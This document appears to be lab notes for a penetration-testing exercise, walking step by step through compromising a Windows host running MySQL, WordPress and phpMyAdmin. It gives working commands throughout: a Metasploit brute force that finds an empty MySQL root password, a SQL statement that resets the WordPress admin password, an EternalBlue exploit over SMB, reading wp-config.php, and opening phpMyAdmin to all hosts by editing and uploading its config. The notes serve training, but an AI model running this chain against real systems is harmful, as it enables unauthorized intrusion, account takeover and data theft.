MySQL

Here we are exploiting a MySQL database server and changing credentials of wordpress file and then also gaining access to phpmyadmin page

• Port scanning with nmap

nmap -sV 10.2.29.246
# Scans 1000 common ports

21/tcp    open  ftp                  Microsoft ftpd
22/tcp    open  ssh                  OpenSSH 7.1 (protocol 2.0)
80/tcp    open  http                 Microsoft IIS httpd 7.5
135/tcp   open  msrpc                Microsoft Windows RPC
139/tcp   open  netbios-ssn          Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds         Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp  open  mysql                MySQL 5.5.20-log
4848/tcp  open  ssl/http             Oracle Glassfish Application Server
7676/tcp  open  java-message-service Java Message Service 301
8080/tcp  open  http                 Sun GlassFish Open Source Edition  4.0
8181/tcp  open  ssl/http             Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
9200/tcp  open  wap-wsp?
49152/tcp open  msrpc                Microsoft Windows RPC
49153/tcp open  msrpc                Microsoft Windows RPC
49154/tcp open  msrpc                Microsoft Windows RPC
49155/tcp open  msrpc                Microsoft Windows RPC

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

• Access the web server with a browser

  • http://10.2.29.246/

  • http://10.2.29.246/hahaha.jpg

  • View page source

• Other webpages

  • https://10.2.29.246:4848/

  • http://10.2.29.246:8080/

  • http://10.2.29.246:9200/

  • http://10.2.29.246:8484/

  • http://10.2.29.246:8585/

    • http://10.2.29.246:8585/wordpress/

#MySQL

nmap -sV -sC -p 3306,8585 10.2.26.45

3306/tcp open  mysql   MySQL 5.5.20-log
8585/tcp open  http    Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)

• Search for MySQL exploits

searchsploit MySQL 5.5
# There are only Privilege Escalation exploits

• Brute-force MySQL

msfconsole

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 10.2.26.45
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run

[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Found remote MySQL version 5.5.20
[!] 10.2.26.45:3306 - No active DB -- Credential data will not be saved!
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Success: 'root:'

📌 root password is empty

mysql -u root -p -h 10.2.26.45

show databases;
use wordpress;
show tables;
select * from wp_users;

• Change admin WordPress user's password

❗ DO NOT Change passwords in a real pentest

UPDATE wp_users SET user_pass = MD5('password123') WHERE user_login = 'admin';

• Access via browser

  • http://10.2.26.45:8585/wordpress/wp-admin

• Try to gain access to phpMyAdmin using MSF

  • Access the target through SMB and modify phpMyAdmin configuration file

# Open the MSF tab
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.2.26.45
run

sysinfo

• Move into the wamp folder

cd /
cd wamp
dir
cd www\\wordpress
cat wp-config.php

• Change WordPress admin password

cd C:\\wamp\\alias
download phpmyadmin.conf

# In another terminal modify the file
vim /root/Desktop/phpmyadmin.conf
# modify it by deleting the lines under "AllowOverride all" and insert
	Allow from all

# Write and close

phpmyadmin.conf

# In the MSFconsole
upload phpmyadmin.conf

# Apache service must be restarted
shell
net stop wampapache
net start wampapache

• Access phpMyAdmin

  • http://10.2.26.45:8585/phpmyadmin/

  • it automatically logs in since the root password is null

phpMyAdmin

❗ DO NOT Change passwords in a real pentest